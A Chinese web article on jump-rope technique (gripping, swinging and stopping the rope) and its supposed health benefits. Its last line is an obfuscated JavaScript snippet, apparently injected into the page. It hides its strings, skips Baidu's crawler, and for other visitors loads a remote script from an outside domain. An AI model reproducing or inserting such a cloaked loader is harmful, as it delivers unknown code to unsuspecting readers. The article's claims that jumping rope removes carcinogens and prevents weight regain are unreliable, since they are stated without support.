当前位置:首页 > 健康 > 运动健身 > 正文

跳绳有什么技巧呢

2017-04-16 22:36:32  来源:360常识网   热度:
导语:跳绳前要做好准备,如一双舒适合脚的运动鞋、宽松的运动衣等。然后再进行运动前的热身,身体发热后就开始进行跳绳了。跳绳的时候,人要放松

跳绳前要做好准备,如一双舒适合脚的运动鞋、宽松的运动衣等。然后再进行运动前的热身,身体发热后就开始进行跳绳了。跳绳的时候,人要放松,动作协调保持身体的平衡,可以单脚换着跳,可以双脚一起跳,要怎么跳可以根据自己的喜好来,没有特别的规定。跳绳的场地最好选择在软硬合适的地方,如果地板太硬就容易震动大脑,造成头昏的现象。

1.握绳的方法两手分别握住绳两端的把手,通常情况下以一脚踩住绳子中间,两臂

屈肘将小臂抬平,绳子被拉直即为适合的长度。

2.摇绳的方法向前摇时,大臂靠近身体两侧,肘稍外展,上臂近似水平,用手腕发

力作外展内旋运动,使两手在体侧做画圆动作,每摇动一次,绳子从地经身后向上向下

,回旋一周,绳子转动的速度和手摇绳的速度成正比,摇动越快,则绳子回旋越快。

3.停绳的方法向前摇时,一脚伸出,前脚掌离地,脚跟着地使绳停在脚掌下;向后

摇时,则一脚后出,脚跟离地,脚掌着地,使绳停在脚底。

跳绳中能帮助血液获取更多的氧气,有氧气的帮助下脂肪就可以燃烧,从而促进人体新陈代谢,减少身体中的致癌和致病的那些物质,增加我们身体的活力以及舒缓压力,最适合忙碌的人群。跳绳的同时配合合理的饮食,不仅减肥能成功,而且减肥后的体重也不会反弹。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}